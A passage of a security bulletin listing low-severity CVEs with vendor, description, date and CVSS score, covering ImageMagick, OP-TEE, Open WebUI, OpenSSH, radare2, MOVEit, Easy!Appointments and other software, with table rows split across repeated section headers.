| ImageMagick--ImageMagick    | ImageMagick before 7.1.2-15 contains a heap-buffer-overflow read vulnerability in GetPixelIndex caused by OpenPixelCache updating image channel metadata before pixel cache memory allocation. Attackers can trigger memory and disk allocation failures to cause a heap-buffer-overflow read affecting any writer calling GetPixelIndex.                                                                                                                                                                                                        | 2026-07-08 | 3.3        | <a href="#">CVE-2026-56362</a> |
| ImageMagick--ImageMagick    | ImageMagick before 7.1.2-18 contains a memory leak vulnerability in the META reader when processing APP1JPEG input paths. Attackers can trigger this memory leak by providing specially crafted APP1JPEG image files, causing denial of service through resource exhaustion.                                                                                                                                                                                                                                                                     | 2026-07-10 | 3.3        | <a href="#">CVE-2026-56366</a> |
| ImageMagick--ImageMagick    | ImageMagick before 7.1.2-19 contains a heap buffer overflow vulnerability in the magnify operation that allows attackers to read out of bounds memory. An unrecognized magnify:method value triggers an out of bounds read, potentially exposing sensitive information or causing denial of service.                                                                                                                                                                                                                                             | 2026-07-11 | 3.3        | <a href="#">CVE-2026-56372</a> |
| ImageMagick--ImageMagick    | ImageMagick before 7.1.2-15 contains a use-after-free vulnerability in the PDB decoder that uses a stale pointer when memory allocation fails. Attackers can trigger this vulnerability by processing malicious PDB files to cause crashes or write a single zero byte to freed memory.                                                                                                                                                                                                                                                          | 2026-07-10 | 3.7        | <a href="#">CVE-2026-56373</a> |
| ImageMagick--ImageMagick    | ImageMagick before 7.1.2-19 contains a heap buffer overflow vulnerability in the FTXT encoder due to missing boundary checks when parsing ftxt:format. Remote attackers can trigger an out of bounds read by crafting malicious FTXT image files to cause denial of service or information disclosure.                                                                                                                                                                                                                                           | 2026-07-08 | 3.3        | <a href="#">CVE-2026-56374</a> |

# Low Vulnerabilities

| Primary Vendor -- Product  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|----------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| ImageMagick--ImageMagick   | ImageMagick before 7.1.2-26 and 6.9.13-51 is missing a check for the allowed memory allocation limit in matrix-backed operations such as -canny. An attacker can supply a crafted image that causes ImageMagick to allocate more memory than permitted by the configured policy, resulting in a denial of service.                                                                                                                                                                                                                                                                                          | 2026-07-11 | 3.3        | <a href="#">CVE-2026-61465</a> |
| ImageMagick--ImageMagick   | ImageMagick before 7.1.2-26 contains a heap use-after-free vulnerability caused by missing null check when parsing XMP profiles. Attackers can craft malicious image files with specially crafted XMP data to trigger the vulnerability and cause application crashes.                                                                                                                                                                                                                                                                                                                                      | 2026-07-11 | 3.7        | <a href="#">CVE-2026-61857</a> |
| ImageMagick--ImageMagick   | ImageMagick before 7.1.2-26 contains a policy bypass vulnerability in the APNG encoder and external delegates due to missing validation checks. Attackers can write files to disallowed paths by bypassing configured policy restrictions through the APNG encoding process.                                                                                                                                                                                                                                                                                                                                | 2026-07-11 | 3.3        | <a href="#">CVE-2026-61858</a> |
| ImageMagick--ImageMagick   | ImageMagick before 7.1.2-26 contains a use-after-free vulnerability in the FormatMagickCaption method when memory allocation fails. Attackers can trigger memory allocation failures to cause a dangling pointer to reference freed memory, potentially enabling denial of service or code execution.                                                                                                                                                                                                                                                                                                       | 2026-07-11 | 3.7        | <a href="#">CVE-2026-61861</a> |
| ImageMagick--ImageMagick   | ImageMagick before 7.1.2-26 contains a memory leak vulnerability in the VIFF encoder when memory allocation fails. Attackers can trigger allocation failures by processing specially crafted VIFF images to exhaust available memory and cause denial of service.                                                                                                                                                                                                                                                                                                                                           | 2026-07-11 | 2.9        | <a href="#">CVE-2026-61870</a> |
| JetBrains--YouTrack        | In JetBrains YouTrack before 2026.2.17012 cSS injection via Mermaid diagram rendering was possible                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-10 | 3.5        | <a href="#">CVE-2026-59791</a> |
| JetBrains--YouTrack        | In JetBrains YouTrack before 2026.2.17394 stored XSS via article titles in digest emails was possible                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-10 | 3.5        | <a href="#">CVE-2026-61492</a> |
| lissy93--dashy             | Dashy is a self-hostable personal dashboard. Prior to 4.3.7, Dashy's workspace view trusts the url query parameter and assigns it directly to an iframe source without scheme validation. If a logged-in user opens a crafted workspace link containing a javascript: URL, JavaScript runs on the Dashy origin and can read same-origin browser data, interact with the Dashy DOM, and send requests as the victim. This issue is fixed in version 4.3.7.                                                                                                                                                   | 2026-07-07 | 3.9        | <a href="#">CVE-2026-55592</a> |
| lo48576--fbxcel            | A vulnerability was detected in lo48576 fbxcel up to 0.9.0. This affects an unknown part of the file src/pull_parser/v7400/parser.rs of the component Node Header Handler. The manipulation results in denial of service. The attack must be initiated from a local position. The exploit is now public and may be used. The pull request to fix this issue awaits acceptance.                                                                                                                                                                                                                              | 2026-07-09 | 3.3        | <a href="#">CVE-2026-15274</a> |
| MyEMS--MyEMS               | A vulnerability was found in MyEMS up to 6.4.0. The affected element is the function on_post of the file myems-api/core/svg.py of the component Admin Backend. The manipulation of the argument new_values['data'] results in cross site scripting. The attack can be launched remotely. The exploit has been made public and could be used. Upgrading to version 6.5.0 is sufficient to fix this issue. The patch is identified as 4a97edfbd786c779d0322054833b21ddf54d5b06. It is suggested to upgrade the affected component. The issue report remains open even though there is an official fix for it. | 2026-07-10 | 2.4        | <a href="#">CVE-2026-15321</a> |
| NousResearch--hermes-agent | A vulnerability was identified in NousResearch hermes-agent up to 2026.5.29.2. Affected by this issue is the function MatrixAdapter._markdown_to_html of the file gateway/platforms/matrix.py of the component Matrix Adapter. Such manipulation leads to cross site scripting. The attack can be executed remotely. The exploit is publicly available and might be used. The pull request to fix this issue awaits acceptance.                                                                                                                                                                             | 2026-07-09 | 3.5        | <a href="#">CVE-2026-15311</a> |
| OP-TEE--optee_os           | OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-06 | 3.3        | <a href="#">CVE-2026-41434</a> |

# Low Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | technology. Starting in version 3.10.0 and prior to version 4.11.0, an unbounded recursion can crash the PKCS#11 TA. Version 4.11.0 contains a patch. No known workarounds are available.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
| OP-TEE--optee_os          | OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. Starting in version 3.3.0 and prior to version 4.11.0, a resource leak exists in OP-TEE's shared memory cleanup logic because the function `cleanup_shm_refs()` in `core/tee/entry_std.c` fails to apply a required bitmask (`OPTEE_MSG_ATTR_TYPE_MASK`) to parameter attributes. When processing non-contiguous memory parameters from a normal-world caller, the system fails to match the attribute type in its internal switch statement and skips the necessary `mobj_put()` call. This results in a persistent reference leak of `mobj_reg_shm` objects, which remain on internal lists with dangling refcounts. This affects non-FF-A configurations that support non-contiguous, non-secure shared memory. Over time, these accumulated leaks progressively consume the secure-world heap, degrading the system's ability to service trusted application operations and eventually requiring a reboot to recover. Version 4.11.0 contains a patch. No known workarounds are available. | 2026-07-06 | 3.8        | <a href="#">CVE-2026-42546</a> |
| OP-TEE--optee_os          | OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. Starting in version 4.5.0 and prior to version 4.11.0, the RSA-OAEP decryption implementation in the Hisilicon HPRE crypto driver uses non-constant-time `memcmp()` for label hash verification and has multiple distinguishable error paths. This creates a Manger-style padding oracle that allows an attacker to recover RSA-OAEP plaintext with approximately 1000-2000 adaptive chosen ciphertext queries. Only affects plat-d06 with `CFG_HISILICON_ACC_V3=y`, which seems to be disabled by default. Version 4.11.0 contains a patch. As a workaround, disable Hisilicon HPRE RSA driver with `CFG_HISILICON_ACC_V3=n`.                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-06 | 2.5        | <a href="#">CVE-2026-41514</a> |
| OP-TEE--optee_os          | OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. Starting in version 3.9.0 and prior to version 4.11.0, the RSA-OAEP decryption implementation in the NXP CAAM crypto driver uses non-constant-time `memcmp()` for label hash verification and has multiple distinguishable error paths. This creates a Manger-style padding oracle that allows an attacker to recover RSA-OAEP plaintext with approximately 1000-2000 adaptive chosen ciphertext queries. Version 4.11.0 contains a patch. As a workaround, disable the NXP CAAM RSA driver with `CFG_CRYPTODRV_RSA=n`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-06 | 2.5        | <a href="#">CVE-2026-41515</a> |
| OP-TEE--optee_os          | OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. Starting in version 4.5.0 and prior to version 4.11.0, the RSA PKCS#1 v1.5 decryption implementation in the Hisilicon HPRE crypto driver uses non-constant-time `memcmp()` for label hash verification and has multiple distinguishable error paths. This creates a Bleichenbacher-style padding oracle that allows an attacker to recover RSA PKCS#1 v1.5 plaintext. Version 4.11.0 contains a patch. As a workaround, disable Hisilicon HPRE RSA driver with `CFG_HISILICON_ACC_V3=n`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-06 | 2.5        | <a href="#">CVE-2026-41516</a> |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.6.27 before 0.10.0, `get_all_models` handlers in `routers/openai.py` and `routers/ollama.py` passed a lambda to `aiocache` key instead of `key_builder`, causing permission-filtered per-user model lists to share a static cache entry and exposing one user's model list to another caller during the TTL window. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-09 | 3.5        | <a href="#">CVE-2026-59213</a> |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, channel thread parent and reply handling did not bind `parent_id` to the channel in the URL, allowing an authenticated user to reference a                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-09 | 3.1        | <a href="#">CVE-2026-59215</a> |

# Low Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | message from another private or DM channel and disclose thread context across channels. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |            |            |                                |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 before 0.10.0, execute_automation rehydrated automation owners without rechecking that they were still active or still had features.automations, and check_model_access only enforced private-model grants for the exact user role, allowing deactivated pending users to continue scheduled model execution. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                           | 2026-07-09 | 3.1        | <a href="#">CVE-2026-59226</a> |
| open-webui--open-webui    | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.6.16 before 0.10.0, the Socket.IO server is configured with always_connect=True. The ydoc:awareness:update and ydoc:document:leave Socket.IO handlers accepted collaborative-document events without requiring an authenticated user, allowing unauthorized manipulation of document collaboration state. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                   | 2026-07-09 | 3.1        | <a href="#">CVE-2026-59715</a> |
| Open5GS--Open5GS          | A security flaw has been discovered in Open5GS 2.7.7. This affects the function amf_context_final of the file src/amf/context.c of the component AMF. Performing a manipulation results in use after free. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-09 | 3.3        | <a href="#">CVE-2026-15194</a> |
| OpenBSD--OpenSSH          | sshd in OpenSSH before 10.4 allows remote attackers to cause a denial of service (resource consumption from excessive authentication attempts) because MaxAuthTries was mishandled for GSSAPIAuthentication.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-08 | 3.7        | <a href="#">CVE-2026-60000</a> |
| pdeljanov--Symphonia      | A flaw has been found in pdeljanov Symphonia up to 0.6.0. This vulnerability affects unknown code of the component Metadata Handler. This manipulation causes denial of service. The attack needs to be launched locally. The exploit has been published and may be used. The pull request to fix this issue awaits acceptance.                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-09 | 3.3        | <a href="#">CVE-2026-15276</a> |
| phpMyFAQ--phpMyFAQ        | phpMyFAQ before 4.1.5 contains a potential authenticated path traversal vulnerability in the concatenatePaths() function within src/phpMyFAQ/Export/Pdf/Wrapper.php. A user with FAQ editing privileges can store HTML containing crafted image paths that are processed during PDF generation. The path resolution logic locates the substring "content" within a user-controlled path using strpos(); when "content" is absent, strpos() returns false, which becomes 0 when cast to an integer, preserving the entire attacker-controlled path. This path is later passed to file_get_contents() without canonicalization or root-directory containment validation, which may allow reading of files outside the intended content directory. | 2026-07-10 | 2.7        | <a href="#">CVE-2026-57961</a> |
| Progress--MOVEit Transfer | Limited authentication bypass by spoofing vulnerability in Progress MOVEit Transfer (HTTPS module). This issue affects MOVEit Transfer: before 2025.0.7, from 2025.1.0 before 2025.1.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-08 | 3.7        | <a href="#">CVE-2026-8651</a>  |
| Progress--MOVEit Transfer | Path equivalence: vulnerability in Progress MOVEit Transfer (File Upload modules). This issue affects MOVEit Transfer: before 2025.0.8, from 2025.1.0 before 2025.1.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 3.5        | <a href="#">CVE-2026-8801</a>  |
| Progress--MOVEit Transfer | Incorrect Authorization vulnerability in Progress MOVEit Transfer (Audit User module). This issue affects MOVEit Transfer: before 2025.0.7, from 2025.1.0 before 2025.1.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-08 | 2.7        | <a href="#">CVE-2026-8800</a>  |
| radareorg--radare2        | A security flaw has been discovered in radareorg radare2 up to 6.1.6. This impacts the function r_str_word_get0set of the file libr/util/str.c. The manipulation results in integer overflow. The attack must be initiated from a local position. The exploit has been released to the public and may be used for attacks. The patch is identified as 11ac224c0eb8d57830fcc99e1c1cd8e5d958813. It is best practice to apply a patch to resolve this issue.                                                                                                                                                                                                                                                                                      | 2026-07-06 | 3.3        | <a href="#">CVE-2026-14786</a> |

# Low Vulnerabilities

| Primary Vendor -- Product            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| radareorg--radare2                   | A weakness has been identified in radareorg radare2 up to 6.1.6. Affected is the function cmd_print in the library libr/core/cmd_print.inc of the component pb Print Command Handler. This manipulation causes integer overflow. The attack needs to be launched locally. The exploit has been made available to the public and could be used for attacks. Patch name: 2b6265476c75567006b0fcbb749f4ae7b189c5df. It is recommended to apply a patch to fix this issue.                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-06 | 3.3        | <a href="#">CVE-2026-14787</a> |
| radareorg--radare2                   | A security vulnerability has been detected in radareorg radare2 up to 6.1.6. Affected by this vulnerability is the function r_core_bin_load of the file libr/core/cfile.c. Such manipulation leads to use after free. The attack needs to be performed locally. The exploit has been disclosed publicly and may be used. The name of the patch is 635ab1eeb30340c26076722a90cb91fb2272130b. Applying a patch is advised to resolve this issue.                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-06 | 3.3        | <a href="#">CVE-2026-14788</a> |
| radareorg--radare2                   | A vulnerability was detected in radareorg radare2 up to 6.1.6. Affected by this issue is some unknown functionality of the file libr/bin/format/mdmp/mdmp.c of the component Memory64ListStream Parser. Performing a manipulation results in stack-based buffer overflow. The attack requires a local approach. The exploit is now public and may be used. The patch is named 175d4addb68981331c85b10681c2161c38fb5762. It is suggested to install a patch to address this issue.                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-06 | 3.3        | <a href="#">CVE-2026-14789</a> |
| Red Hat--Red Hat Directory Server 11 | A flaw was found in 389 Directory Server. The PBKDF2-SHA256 password verification function uses standard memcmp() for comparing password hashes instead of a constant-time comparison function. A remote attacker could potentially use timing measurements of LDAP bind attempts to infer partial hash information, though practical exploitation is extremely difficult due to PBKDF2 computational overhead.                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-08 | 3.7        | <a href="#">CVE-2026-15041</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A logic vulnerability was found in GStreamer's webrtcbin component. The _check_sdp_crypto() function contains an inverted boolean condition that causes it to accept remote SDP offers or answers that lack the required a=fingerprint attribute, while incorrectly rejecting those that include it. An attacker with the ability to intercept and modify WebRTC signaling messages could exploit this to bypass the SDP-level DTLS certificate fingerprint binding, weakening defenses against man-in-the-middle attacks on media streams.                                                                                                                                                                                                                                                                                                                                        | 2026-07-07 | 3.7        | <a href="#">CVE-2026-14935</a> |
| Red Hat--Red Hat Hardened Images     | A flaw was found in libarchive. This vulnerability allows a remote attacker to trigger a heap overflow by providing a specially crafted tar archive. The issue occurs during the parsing of a PAX extended header containing a malformed SUN.holesdata sparse-file attribute. Successful exploitation could lead to a denial of service, making the system unavailable, or potentially allow for arbitrary code execution, giving the attacker control over the affected system.                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-10 | 3.9        | <a href="#">CVE-2026-15028</a> |
| VMware--Pinniped                     | A user authenticating to Kubernetes clusters via the Pinniped Supervisor could potentially gain elevated permissions in the clusters, only if all the following conditions were true: the Pinniped Supervisor server is running with an ActiveDirectoryIdentityProvider resource configured; the ActiveDirectoryIdentityProvider.spec.groupSearch.attributes.groupName is empty; the attacker gains the ability to edit some part of the distinguished name (DN) of group entries in the Active Directory (AD) server's database for groups to which they belong; the configured group search parameters cause the edited group to be included in the group search results for the user; and the attacker knows the password for an AD user who belongs to the edited AD group. Affected versions: Pinniped (go.pinniped.dev) v0.11.0 through v0.46.0 inclusive; fixed in v0.47.0. | 2026-07-09 | 3.8        | <a href="#">CVE-2026-59269</a> |
| vnotex--vnote                        | A weakness has been identified in vnotex vnote up to 3.20.1. Impacted is an unknown function of the file /src/data/extra/web/js/markdownit.js of the component YAML Frontmatter. This manipulation of the argument p_metaData                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-12 | 3.5        | <a href="#">CVE-2026-15505</a> |



# Low Vulnerabilities

| Primary Vendor -- Product       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                 | causes cross site scripting. The attack may be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |            |            |                                |
| Wireshark Foundation--Wireshark | BLF file parser in Wireshark 4.6.0 to 4.6.6 and 4.4.0 to 4.4.16 allows possible information disclosure                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-08 | 2.5        | <a href="#">CVE-2026-15168</a> |
| zephyrproject--zephyr           | The Nuvoton NuMaker HSUSBD USB device-controller driver (drivers/usb/udc/udc_numaker.c) armed the control Data IN stage unconditionally (base->CEPTXCNT = len in numaker_hsusbd_ep_trigger). Because the HSUSBD hardware cannot disarm a control Data IN already armed for a previous transfer, a USB host that cancels an in-flight control transfer (timeout) and then issues a new SETUP packet can drive the driver out of sync: stale data may be transmitted in the new transfer and the control endpoint can become permanently stuck NAK'ing every subsequent control transfer. A malicious or buggy host (physical/adjacent attacker driving the bus) can repeatedly cancel-and-re-SETUP to wedge the device's USB control endpoint, denying service to the device's USB function (the device stops enumerating/responding on the control pipe) until a USB reset or re-plug. The flaw is an availability-only denial of service; the FIFO copy loops (bounded by net_buf length and the hardware BUFFULL flag) and the net_buf lifecycle are independent of the arming desync, so there is no out-of-bounds access, use-after-free, or information leak. The fix monitors the IN-token and new-SETUP events (k_event) and only arms control Data IN when an IN token is present and no new SETUP has arrived, cancelling the current transfer on a new SETUP. Affects boards using the Nuvoton NuMaker HSUSBD controller (CONFIG_UDC_NUMAKER with DT_HAS_NUVOTON_NUMAKER_HSUSBD_ENABLED); shipped in v4.4.0. | 2026-07-12 | 2.4        | <a href="#">CVE-2026-10668</a> |
| Adobe--Adobe Commerce           | Adobe Commerce is affected by an Information Exposure vulnerability that could lead to a limited disclosure of sensitive information. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 3.7        | <a href="#">CVE-2026-48001</a> |
| Adobe--ColdFusion 2025          | ColdFusion is affected by an Insufficient Session Expiration vulnerability that could result in a Security feature bypass. A high-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-14 | 2.7        | <a href="#">CVE-2026-48329</a> |
| alexselegidis--easyappointments | Easy!Appointments is a self hosted appointment scheduler. Versions prior to 1.6.0 correctly filter provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session. A normal authenticated provider can inject new appointments into another provider's schedule via `store`, or reassign existing appointments into a foreign provider's calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted. Version 1.6.0 patches the issue.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-14 | 3.3        | <a href="#">CVE-2026-52839</a> |
| alexselegidis--easyappointments | Easy!Appointments is a self hosted appointment scheduler. In versions prior to 1.6.0, `Google::oauth` at `application/controllers/Google.php:278` stores its URL-supplied `provider_id` in the session, and `oauth_callback` saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data. Version 1.6.0 patches the issue.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 3.1        | <a href="#">CVE-2026-52841</a> |
| alexselegidis--easyappointments | Easy!Appointments is a self hosted appointment scheduler. Versions prior to 1.6.0 allow administrators to define a custom "booking disabled" message through the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 2.6        | <a href="#">CVE-2026-52838</a> |

# Low Vulnerabilities

| Primary Vendor -- Product        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                  | booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization. An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page. Version 1.6.0 fixes the issue.                                                                                                                                                           |            |            |                                |
| alexselegidis--easyappointments  | Easy!Appointments is a self hosted appointment scheduler. In versions prior to 1.6.0, `Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request's `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind. Version 1.6.0 contains a patch. | 2026-07-14 | 2.7        | <a href="#">CVE-2026-52840</a> |
| alioshr--memory-bank-mcp         | A security vulnerability has been detected in alioshr memory-bank-mcp up to 0.2.1/3.1. This affects an unknown part of the file list-project-files-validation-factory.ts. Such manipulation of the argument projectName leads to path traversal. Local access is required to approach this attack. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                              | 2026-07-13 | 3.3        | <a href="#">CVE-2026-15524</a> |
| allegro--allegro                 | A vulnerability was determined in allegro up to bcf65b994ef29fb3fc2e10b660e6288723d5209e. This impacts the function AssetLastHostname.increment_hostname of the file src/ralph/assets/models/assets.py of the component Hostname Allocation Handler. Executing a manipulation of the argument counter can lead to race condition. Attacks of this nature are highly complex. The exploitability is said to be difficult. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.                    | 2026-07-19 | 2.6        | <a href="#">CVE-2026-16211</a> |
| AstrBotDevs--AstrBot             | A security vulnerability has been detected in AstrBotDevs AstrBot up to 4.25.2. Affected by this issue is the function Star.text_to_image/NetworkRenderStrategy.render of the file astrbot/core/star/base.py of the component T2I Feature. The manipulation leads to cross site scripting. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                               | 2026-07-17 | 3.5        | <a href="#">CVE-2026-16073</a> |
| augmnt--augments-mcp-server      | A flaw has been found in augmnt augments-mcp-server 7.1.0. This issue affects the function scanProjectDeps of the file src/tools/v4/scan-project-deps.ts of the component scan_project_deps. Executing a manipulation of the argument packageJsonPath can lead to path traversal. The attack can only be executed locally. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                               | 2026-07-13 | 3.3        | <a href="#">CVE-2026-15526</a> |
| code-projects--Online Job Portal | A security vulnerability has been detected in code-projects Online Job Portal 1.0. This impacts an unknown function of the file /Admin/DetailJob.php. The manipulation leads to cross site scripting. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.                                                                                                                                                                                                                                                                                         | 2026-07-14 | 3.5        | <a href="#">CVE-2026-15678</a> |
| coredns--coredns                 | CoreDNS is a DNS server written in Go. From 1.9.4 until 1.14.5, a network DNS client allowed to request AXFR for a CoreDNS zone can trigger a panic when CoreDNS is configured with k8s_external headless-service zone transfers and Kubernetes contains a headless service endpoint with no declared ports; plugin/kubernetes/object/endpoint.go creates Port: -1, plugin/k8s_external/msg_to_dns.go skips that service, plugin/k8s_external/transfer.go sends an empty []dns.RR batch, and                                                                                                              | 2026-07-16 | 3.7        | <a href="#">CVE-2026-62994</a> |

# Low Vulnerabilities

| Primary Vendor -- Product        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                  | plugin/transfer/transfer.go indexes records[0] without checking the batch is non-empty. This issue is fixed in version 1.14.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
